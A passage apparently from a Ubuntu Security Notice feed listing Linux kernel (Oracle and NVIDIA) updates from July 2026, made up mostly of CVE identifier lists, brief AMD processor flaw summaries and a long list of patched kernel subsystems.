CVE-2026-43089, CVE-2026-43093, CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104, CVE-2026-43105, CVE-2026-43110, CVE-2026-43111, CVE-2026-43112, CVE-2026-43113, CVE-2026-43123, CVE-2026-43124, CVE-2026-43130, CVE-2026-43132, CVE-2026-43133, CVE-2026-43134, CVE-2026-43135, CVE-2026-43136, CVE-2026-43139, CVE-2026-43140, CVE-2026-43141, CVE-2026-43145, CVE-2026-43147, CVE-2026-43148, CVE-2026-43149, CVE-2026-43152, CVE-2026-43156, CVE-2026-43158, CVE-2026-43159, CVE-2026-43163, CVE-2026-43168, CVE-2026-43171, CVE-2026-43180, CVE-2026-43182, CVE-2026-43183, CVE-2026-43184, CVE-2026-43187, CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43202, CVE-2026-43203, CVE-2026-43205, CVE-2026-43206, CVE-2026-43207, CVE-2026-43209, CVE-2026-43211, CVE-2026-43218, CVE-2026-43223, CVE-2026-43225, CVE-2026-43226, CVE-2026-43227, CVE-2026-43230, CVE-2026-43231, CVE-2026-43232, CVE-2026-43233, CVE-2026-43236, CVE-2026-43241, CVE-2026-43242, CVE-2026-43246, CVE-2026-43251, CVE-2026-43255, CVE-2026-43257, CVE-2026-43261, CVE-2026-43262, CVE-2026-43264, CVE-2026-43266, CVE-2026-43268, CVE-2026-43269, CVE-2026-43270, CVE-2026-43273, CVE-2026-43275, CVE-2026-43277, CVE-2026-43279, CVE-2026-43281, CVE-2026-43283, CVE-2026-43287, CVE-2026-43289, CVE-2026-43291, CVE-2026-43295, CVE-2026-43296, CVE-2026-43302, CVE-2026-43312, CVE-2026-43313, CVE-2026-43314, CVE-2026-43315, CVE-2026-43316, CVE-2026-43324, CVE-2026-43327, CVE-2026-43328, CVE-2026-43329, CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43339, CVE-2026-43340, CVE-2026-43342, CVE-2026-43343, CVE-2026-43357, CVE-2026-43363, CVE-2026-43365, CVE-2026-43370, CVE-2026-43373, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382, CVE-2026-43386, CVE-2026-43387, CVE-2026-43405, CVE-2026-43411, CVE-2026-43420, CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428, CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43439, CVE-2026-43445, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451, CVE-2026-43452, CVE-2026-43453, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466, CVE-2026-43469, CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476, CVE-2026-43480, CVE-2026-43484, CVE-2026-43496, CVE-2026-43497, CVE-2026-43502, CVE-2026-45834, CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839, CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843, CVE-2026-45844, CVE-2026-45846, CVE-2026-45847, CVE-2026-45848, CVE-2026-45852, CVE-2026-45856, CVE-2026-45857, CVE-2026-45860, CVE-2026-45862, CVE-2026-45864, CVE-2026-45866, CVE-2026-45867, CVE-2026-45868, CVE-2026-45869, CVE-2026-45870, CVE-2026-45871, CVE-2026-45873, CVE-2026-45875, CVE-2026-45879, CVE-2026-45883, CVE-2026-45885, CVE-2026-45890, CVE-2026-45891, CVE-2026-45899, CVE-2026-45902, CVE-2026-45904, CVE-2026-45911, CVE-2026-45912, CVE-2026-45915, CVE-2026-45916, CVE-2026-45919, CVE-2026-45920, CVE-2026-45924, CVE-2026-45935, CVE-2026-45936, CVE-2026-45941, CVE-2026-45946, CVE-2026-45948, CVE-2026-45954, CVE-2026-45956, CVE-2026-45958, CVE-2026-45960, CVE-2026-45964, CVE-2026-45965, CVE-2026-45968, CVE-2026-45969, CVE-2026-45970, CVE-2026-45974, CVE-2026-45978, CVE-2026-45983, CVE-2026-45984, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987, CVE-2026-45994, CVE-2026-46002, CVE-2026-46004, CVE-2026-46006, CVE-2026-46009, CVE-2026-46015, CVE-2026-46018, CVE-2026-46019, CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46027, CVE-2026-46033, CVE-2026-46037, CVE-2026-46040, CVE-2026-46044, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050, CVE-2026-46051, CVE-2026-46053, CVE-2026-46062, CVE-2026-46064, CVE-2026-46070, CVE-2026-46072, CVE-2026-46077, CVE-2026-46080, CVE-2026-46082, CVE-2026-46088, CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46107, CVE-2026-46108, CVE-2026-46112, CVE-2026-46120, CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46127, CVE-2026-46128, CVE-2026-46132, CVE-2026-46133, CVE-2026-46137, CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46161, CVE-2026-46163, CVE-2026-46167, CVE-2026-46168, CVE-2026-46172, CVE-2026-46174, CVE-2026-46177, CVE-2026-46178, CVE-2026-46184, CVE-2026-46186, CVE-2026-46187, CVE-2026-46189, CVE-2026-46197, CVE-2026-46198, CVE-2026-46205, CVE-2026-46206, CVE-2026-46209, CVE-2026-46212, CVE-2026-46214, CVE-2026-46219, CVE-2026-46220, CVE-2026-46227, CVE-2026-46230, CVE-2026-46231, CVE-2026-46233, CVE-2026-46234, CVE-2026-46236, CVE-2026-46238, CVE-2026-46249, CVE-2026-46250, CVE-2026-46253, CVE-2026-46259, CVE-2026-46267, CVE-2026-46270, CVE-2026-46273, CVE-2026-46274, CVE-2026-46275, CVE-2026-46285, CVE-2026-46294, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304, CVE-2026-46307, CVE-2026-46319, CVE-2026-46328, CVE-2026-52911, CVE-2026-52912, CVE-2026-52914, CVE-2026-52915, CVE-2026-52916, CVE-2026-52919, CVE-2026-52920, CVE-2026-52921, CVE-2026-52922, CVE-2026-52925, CVE-2026-52926, CVE-2026-52931, CVE-2026-52954, CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52962, CVE-2026-52963, CVE-2026-52969, CVE-2026-52970, CVE-2026-52982, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995, CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002, CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011, CVE-2026-53012, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040, CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046, CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050, CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53064, CVE-2026-53065, CVE-2026-53068, CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53077, CVE-2026-53082, CVE-2026-53088, CVE-2026-53093, CVE-2026-53096, CVE-2026-53112, CVE-2026-53128, CVE-2026-53130, CVE-2026-53287, CVE-2026-53291, CVE-2026-53294, CVE-2026-53295, CVE-2026-53296, CVE-2026-53304, CVE-2026-53306, CVE-2026-53309, CVE-2026-53320, CVE-2026-53369, CVE-2026-53379, CVE-2026-63860, CVE-2026-63865, CVE-2026-64018, CVE-2026-64032, CVE-2026-64033, CVE-2026-64034, CVE-2026-64039, CVE-2026-64046, CVE-2026-64047, CVE-2026-64055, CVE-2026-64056, CVE-2026-64083, CVE-2026-64084, CVE-2026-64085, CVE-2026-64086, CVE-2026-64087, CVE-2026-64088, CVE-2026-64089, CVE-2026-64096, CVE-2026-64102, CVE-2026-64103, CVE-2026-64113, CVE-2026-64114, CVE-2026-64115, CVE-2026-64125, CVE-2026-64133, CVE-2026-64135, CVE-2026-64153, CVE-2026-64155, CVE-2026-64164, CVE-2026-64165, CVE-2026-64166, CVE-2026-64168, CVE-2026-64173, CVE-2026-64174, CVE-2026-64177, CVE-2026-64178, CVE-2026-64179, CVE-2026-64185)

USN-8595-1: Linux kernel (Oracle) vulnerabilities

Thu, 23 Jul 2026 10:20:43 +0200

USN-8596-1: Linux kernel (NVIDIA) vulnerabilities

Thu, 23 Jul 2026 10:20:28 +0200

It was discovered that some AMD processors did not properly clear data in the floating point divider unit during speculative execution. A local attacker could use this to expose sensitive information. (CVE-2025-54505) It was discovered that some AMD Zen 2 processors did not properly isolate shared resources in the operation cache. A local attacker could possibly use this issue to corrupt instructions executed at a higher privilege level, resulting in privilege escalation. (CVE-2025-54518) It was discovered that some AMD Zen 5 processors supporting RDSEED instruction did not properly handle entropy, potentially resulting in the consumption of insufficiently random values. A local attacker could possibly use this issue to influence the values returned by the RDSEED instruction causing loss of confidentiality and integrity. (CVE-2025-62626) Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system. This update corrects flaws in the following subsystems: - ARM64 architecture; - RISC-V architecture; - S390 architecture; - x86 architecture; - Block layer subsystem; - Cryptographic API; - Compute Acceleration Framework; - ACPI drivers; - Serial ATA and Parallel ATA drivers; - Drivers core; - Power management core; - DRBD Distributed Replicated Block Device drivers; - Rados block device (RBD) driver; - Compressed RAM block device driver; - Bluetooth drivers; - Bus devices; - Character device driver; - Clock framework and drivers; - Data acquisition framework and drivers; - Counter interface drivers; - CPU frequency scaling framework; - Hardware crypto device drivers; - CXL (Compute Express Link) drivers; - DMA engine subsystem; - EDAC drivers; - EFI core; - GPU drivers; - Greybus drivers; - HID subsystem; - Hardware monitoring drivers; - I2C subsystem; - IIO ADC drivers; - IIO subsystem; - InfiniBand drivers; - Input Device (Miscellaneous) drivers; - IRQ chip drivers; - LED subsystem; - Mailbox framework; - Multiple devices driver; - Media drivers; - MediaTek SMI driver; - NVIDIA Tegra memory controller driver; - Fastrpc Driver; - IBM Advanced System Management driver; - MMC subsystem; - MTD block device drivers; - Network drivers; - Ethernet bonding driver; - Mellanox network drivers; - Microsoft Azure Network Adapter (MANA) driver; - STMicroelectronics network drivers; - Ethernet team driver; - MediaTek network drivers; - Near Field Communication (NFC) drivers; - NTB driver; - NVDIMM (Non-Volatile Memory Device) drivers; - NVME drivers; - Device tree and open firmware driver; - PCI subsystem; - Pin controllers subsystem; - x86 platform drivers; - Broadcom BCM2835 power domain driver; - Generic PM domains; - i.MX PM domains; - Remote Processor subsystem; - S/390 drivers; - SCSI subsystem; - SLIMbus drivers; - Freescale SoC drivers; - Microchip PolarFire SoC system controller driver; - SPI subsystem; - Media staging drivers; - Realtek RTL8723BS SDIO drivers; - SM750 framebuffer staging driver; - TCM subsystem; - Thermal drivers; - TTY drivers; - UFS subsystem; - Cadence USB3 driver; - USB Device Class drivers; - ULPI bus; - USB core drivers; - DesignWare USB2 driver; - USB Gadget drivers; - USB Host Controller drivers; - Mustek MDC800 USB digital camera driver; - USB YUREX driver; - Renesas USBHS Controller drivers; - USB Type-C Connector System Software Interface driver; - VFIO drivers; - Framebuffer layer; - TSM TDX Guest driver; - Xen hypervisor drivers; - File systems infrastructure; - BTRFS file system; - Ceph distributed file system; - EROFS file system; - Ext4 file system; - F2FS file system; - FUSE (File system in Userspace); - GFS2 file system; - HFS+ file system; - Journaling layer for block devices (JBD2); - Network file systems library; - Network file system (NFS) server daemon; - NILFS2 file system; - File system notification infrastructure; - NTFS3 file system; - OCFS2 file system; - Diskquota system; - SMB network file system; - SquashFS file system; - Tracing file system; - UDF file system; - XFS file system; - Kernel CPU control infrastructure; - QorIQ DPAA2 FSL-MC bus driver; - Memory Management; - Integrity Measurement Architecture(IMA) framework; - KVM subsystem; - Memory management; - Networking core; - padata parallel execution mechanism; - PPP protocol drivers and compressors; - Linux Security Modules (LSM) Framework; - Tracing infrastructure; - Network traffic control; - Distributed Switch Architecture; - IPv4 networking; - IP tunnels definitions; - MAC80211 subsystem; - Netfilter; - User-space API (UAPI); - io_uring subsystem; - Audit subsystem; - BPF subsystem; - Control group (cgroup); - Perf events; - Kernel exit() syscall; - Kernel fork() syscall; - Kernel futex primitives; - KProbes tracing; - Locking primitives; - Kernel module support; - Padata parallel execution mechanism; - Cryptographic library; - Heterogeneous memory management; - KASAN memory debugging framework; - Asynchronous Transfer Mode (ATM) subsystem; - B.A.T.M.A.N. meshing protocol; - Bluetooth subsystem; - Ethernet bridge; - CAIF protocol; - CAN network layer; - Ceph Core library; - IPv6 networking; - XFRM subsystem; - L2TP protocol; - Management Component Transport Protocol (MCTP); - Multipath TCP; - NCSI (Network Controller Sideband Interface) driver; - NFC subsystem; - Open vSwitch; - Packet sockets; - Qualcomm IPC Router (QRTR); - RDS protocol; - RF switch subsystem; - Rose network layer; - RxRPC session sockets; - SCTP protocol; - SMC sockets; - Stream parser; - Sun RPC protocol; - TIPC protocol; - TLS protocol; - Unix domain sockets; - VMware vSockets driver; - Wireless networking; - X.25 network layer; - eXpress Data Path; - Landlock security; - ALSA framework; - Generic PCM loopback sound driver; - FireWire sound drivers; - HD-audio driver; - Creative Sound Blaster X-Fi driver; - AMD SoC Alsa drivers; - QCOM ASoC drivers; - Renesas ASoC drivers; - Samsung ASoC drivers; - SoC audio core drivers; - SOF drivers; - STI ASoC drivers; - USB sound devices; - Objtool; (CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764, CVE-2025-40135, CVE-2025-40150, CVE-2025-68175, CVE-2025-68239, CVE-2025-68334, CVE-2025-68736, CVE-2025-71152, CVE-2025-71161, CVE-2025-71203, CVE-2025-71221, CVE-2025-71269, CVE-2025-71287, CVE-2025-71288, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993, CVE-2026-23004, CVE-2026-23066, CVE-2026-23104, CVE-2026-23118, CVE-2026-23138, CVE-2026-23154, CVE-2026-23157, CVE-2026-23171, CVE-2026-23226, CVE-2026-23227, CVE-2026-23244, CVE-2026-23245, CVE-2026-23246, CVE-2026-23253, CVE-2026-23255, CVE-2026-23270, CVE-2026-23271, CVE-2026-23276, CVE-2026-23277, CVE-2026-23279, CVE-2026-23281, CVE-2026-23284, CVE-2026-23285, CVE-2026-23286, CVE-2026-23287, CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23292, CVE-2026-23293, CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23302, CVE-2026-23303, CVE-2026-23304, CVE-2026-23306, CVE-2026-23307, CVE-2026-23308, CVE-2026-23310, CVE-2026-23312, CVE-2026-23313, CVE-2026-23315, CVE-2026-23317, CVE-2026-23318, CVE-2026-23319, CVE-2026-23321, CVE-2026-23324, CVE-2026-23325, CVE-2026-23330, CVE-2026-23334, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340, CVE-2026-23343, CVE-2026-23347, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357, CVE-2026-23359, CVE-2026-23360, CVE-2026-23361, CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365, CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370, CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378, CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383, CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389, CVE-2026-23391, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397, CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23412, CVE-2026-23413, CVE-2026-23414, CVE-2026-23418, CVE-2026-23419, CVE-2026-23420, CVE-2026-23426, CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23440, CVE-2026-23441, CVE-2026-23442, CVE-2026-23444, CVE-2026-23446, CVE-2026-23447, CVE-2026-23448, CVE-2026-23449, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461, CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465, CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475, CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393, CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31403, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408, CVE-2026-31409, CVE-2026-31412, CVE-2026-31413, CVE-2026-31414, CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421, CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425, CVE-2026-31426, CVE-2026-31427, CVE-2026-31428, CVE-2026-31429, CVE-2026-31430, CVE-2026-31432, CVE-2026-31433, CVE-2026-31434, CVE-2026-31438, CVE-2026-31439, CVE-2026-31440, CVE-2026-31441, CVE-2026-31446, CVE-2026-31447, CVE-2026-31449, CVE-2026-31450, CVE-2026-31451, CVE-2026-31452, CVE-2026-31453, CVE-2026-31454, CVE-2026-31455, CVE-2026-31458, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467, CVE-2026-31469, CVE-2026-31470, CVE-2026-31473, CVE-2026-31474, CVE-2026-31476, CVE-2026-31477, CVE-2026-31480, CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487, CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494, CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498, CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503, CVE-2026-31505, CVE-2026-31506, CVE-2026-31507, CVE-2026-31508, CVE-2026-31509, CVE-2026-31510, CVE-2026-31511, CVE-2026-31512, CVE-2026-31515, CVE-2026-31516, CVE-2026-31518, CVE-2026-31519, CVE-2026-31520, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523, CVE-2026-31524, CVE-2026-31525, CVE-2026-31527, CVE-2026-31528, CVE-2026-31530, CVE-2026-31532, CVE-2026-31540, CVE-2026-31542, CVE-2026-31545, CVE-2026-31546, CVE-2026-31548, CVE-2026-31549, CVE-2026-31550, CVE-2026-31551, CVE-2026-31552, CVE-2026-31554, CVE-2026-31555, CVE-2026-31556, CVE-2026-31557, CVE-2026-31563, CVE-2026-31565, CVE-2026-31566, CVE-2026-31570, CVE-2026-31575, CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580, CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584, CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588, CVE-2026-31590, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596, CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602, CVE-2026-31603, CVE-2026-31604, CVE-2026-31605, CVE-2026-31606, CVE-2026-31610, CVE-2026-31611, CVE-2026-31612, CVE-2026-31613, CVE-2026-31615, CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629, CVE-2026-31634, CVE-2026-31638, CVE-2026-31639, CVE-2026-31642, CVE-2026-31645, CVE-2026-31646, CVE-2026-31648, CVE-2026-31651, CVE-2026-31655, CVE-2026-31656, CVE-2026-31658, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662, CVE-2026-31664, CVE-2026-31665, CVE-2026-31667, CVE-2026-31670, CVE-2026-31671, CVE-2026-31672, CVE-2026-31673, CVE-2026-31674, CVE-2026-31675, CVE-2026-31677, CVE-2026-31678, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686, CVE-2026-31689, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31700, CVE-2026-31701, CVE-2026-31702, CVE-2026-31704, CVE-2026-31705, CVE-2026-31706, CVE-2026-31707, CVE-2026-31708, CVE-2026-31709, CVE-2026-31711, CVE-2026-31712, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31722, CVE-2026-31723, CVE-2026-31724, CVE-2026-31725, CVE-2026-31726, CVE-2026-31728, CVE-2026-31729, CVE-2026-31730, CVE-2026-31731, CVE-2026-31737, CVE-2026-31738, CVE-2026-31740, CVE-2026-31741, CVE-2026-31747, CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752, CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758, CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763, CVE-2026-31767, CVE-2026-31768, CVE-2026-31770, CVE-2026-31772, CVE-2026-31773, CVE-2026-31778, CVE-2026-31779, CVE-2026-31780, CVE-2026-31781, CVE-2026-31788, CVE-2026-43007, CVE-2026-43012, CVE-2026-43013, CVE-2026-43014, CVE-2026-43015, CVE-2026-43016, CVE-2026-43017, CVE-2026-43018, CVE-2026-43019, CVE-2026-43020, CVE-2026-43023, CVE-2026-43024, CVE-2026-43025, CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43032, CVE-2026-43035, CVE-2026-43036, CVE-2026-43040, CVE-2026-43041, CVE-2026-43043, CVE-2026-43044, CVE-2026-43046, CVE-2026-43047, CVE-2026-43049, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052, CVE-2026-43054, CVE-2026-43056, CVE-2026-43057, CVE-2026-43058, CVE-2026-43059, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062, CVE-2026-43064, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068, CVE-2026-43069, CVE-2026-43072, CVE-2026-43073, CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080, CVE-2026-43081, CVE-2026-43082, CVE-2026-43084, CVE-2026-43085, CVE-2026-43086, CVE-2026-43088, CVE-2026-43089, CVE-2026-43091, CVE-2026-43092, CVE-2026-43093, CVE-2026-43094, CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104, CVE-2026-43105, CVE-2026-43107, CVE-2026-43109, CVE-2026-43110, CVE-2026-43111, CVE-2026-43112, CVE-2026-43113, CVE-2026-43119, CVE-2026-43120, CVE-2026-43129, CVE-2026-43162, CVE-2026-43245, CVE-2026-43252, CVE-2026-43265, CVE-2026-43281, CVE-2026-43324, CVE-2026-43327, CVE-2026-43328, CVE-2026-43329, CVE-2026-43330, CVE-2026-43332, CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43338, CVE-2026-43339, CVE-2026-43340, CVE-2026-43342, CVE-2026-43343, CVE-2026-43345, CVE-2026-43350, CVE-2026-43355, CVE-2026-43357, CVE-2026-43359, CVE-2026-43360, CVE-2026-43361, CVE-2026-43362, CVE-2026-43363, CVE-2026-43365, CVE-2026-43366, CVE-2026-43368, CVE-2026-43370, CVE-2026-43371, CVE-2026-43372, CVE-2026-43373, CVE-2026-43377, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382, CVE-2026-43386, CVE-2026-43387, CVE-2026-43395, CVE-2026-43397, CVE-2026-43405, CVE-2026-43408, CVE-2026-43409, CVE-2026-43411, CVE-2026-43412, CVE-2026-43413, CVE-2026-43415, CVE-2026-43419, CVE-2026-43420, CVE-2026-43421, CVE-2026-43424, CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428, CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43436, CVE-2026-43437, CVE-2026-43439, CVE-2026-43441, CVE-2026-43445, CVE-2026-43448, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451, CVE-2026-43452, CVE-2026-43453, CVE-2026-43455, CVE-2026-43456, CVE-2026-43457, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466, CVE-2026-43467, CVE-2026-43468, CVE-2026-43469, CVE-2026-43471, CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476, CVE-2026-43480, CVE-2026-43483, CVE-2026-43484, CVE-2026-43488, CVE-2026-43490, CVE-2026-43491, CVE-2026-43492, CVE-2026-43495, CVE-2026-43496, CVE-2026-43497, CVE-2026-43499, CVE-2026-43502, CVE-2026-45834, CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839, CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843, CVE-2026-45844, CVE-2026-45845, CVE-2026-45846, CVE-2026-45855, CVE-2026-45858, CVE-2026-45899, CVE-2026-45911, CVE-2026-45920, CVE-2026-45924, CVE-2026-45942, CVE-2026-45943, CVE-2026-45956, CVE-2026-45958, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987, CVE-2026-45989, CVE-2026-45991, CVE-2026-45994, CVE-2026-45996, CVE-2026-45997, CVE-2026-45999, CVE-2026-46002, CVE-2026-46003, CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007, CVE-2026-46009, CVE-2026-46011, CVE-2026-46012, CVE-2026-46015, CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46021, CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46026, CVE-2026-46027, CVE-2026-46031, CVE-2026-46033, CVE-2026-46037, CVE-2026-46038, CVE-2026-46040, CVE-2026-46041, CVE-2026-46044, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050, CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46056, CVE-2026-46058, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063, CVE-2026-46064, CVE-2026-46065, CVE-2026-46068, CVE-2026-46069, CVE-2026-46070, CVE-2026-46072, CVE-2026-46073, CVE-2026-46075, CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079, CVE-2026-46080, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084, CVE-2026-46086, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090, CVE-2026-46091, CVE-2026-46092, CVE-2026-46094, CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103, CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46110, CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114, CVE-2026-46116, CVE-2026-46117, CVE-2026-46120, CVE-2026-46121, CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46125, CVE-2026-46126, CVE-2026-46127, CVE-2026-46128, CVE-2026-46129, CVE-2026-46131, CVE-2026-46132, CVE-2026-46133, CVE-2026-46136, CVE-2026-46137, CVE-2026-46138, CVE-2026-46139, CVE-2026-46142, CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46152, CVE-2026-46157, CVE-2026-46159, CVE-2026-46160, CVE-2026-46161, CVE-2026-46163, CVE-2026-46164, CVE-2026-46167, CVE-2026-46168, CVE-2026-46169, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174, CVE-2026-46176, CVE-2026-46177, CVE-2026-46178, CVE-2026-46179, CVE-2026-46180, CVE-2026-46184, CVE-2026-46186, CVE-2026-46187, CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46193, CVE-2026-46194, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198, CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46204, CVE-2026-46205, CVE-2026-46206, CVE-2026-46207, CVE-2026-46208, CVE-2026-46209, CVE-2026-46211, CVE-2026-46212, CVE-2026-46214, CVE-2026-46218, CVE-2026-46219, CVE-2026-46220, CVE-2026-46225, CVE-2026-46226, CVE-2026-46227, CVE-2026-46229, CVE-2026-46230, CVE-2026-46231, CVE-2026-46232, CVE-2026-46233, CVE-2026-46234, CVE-2026-46235, CVE-2026-46236, CVE-2026-46238, CVE-2026-46241, CVE-2026-46273, CVE-2026-46274, CVE-2026-46280, CVE-2026-46282, CVE-2026-46285, CVE-2026-46286, CVE-2026-46287, CVE-2026-46291, CVE-2026-46292, CVE-2026-46293, CVE-2026-46294, CVE-2026-46296, CVE-2026-46299, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304, CVE-2026-46306, CVE-2026-46307, CVE-2026-46312, CVE-2026-46314, CVE-2026-46319, CVE-2026-52911, CVE-2026-52920, CVE-2026-52925, CVE-2026-52933, CVE-2026-52936, CVE-2026-52951, CVE-2026-52954, CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52961, CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52967, CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52974, CVE-2026-52975, CVE-2026-52977, CVE-2026-52981, CVE-2026-52982, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52989, CVE-2026-52990, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995, CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002, CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011, CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023, CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035, CVE-2026-53036, 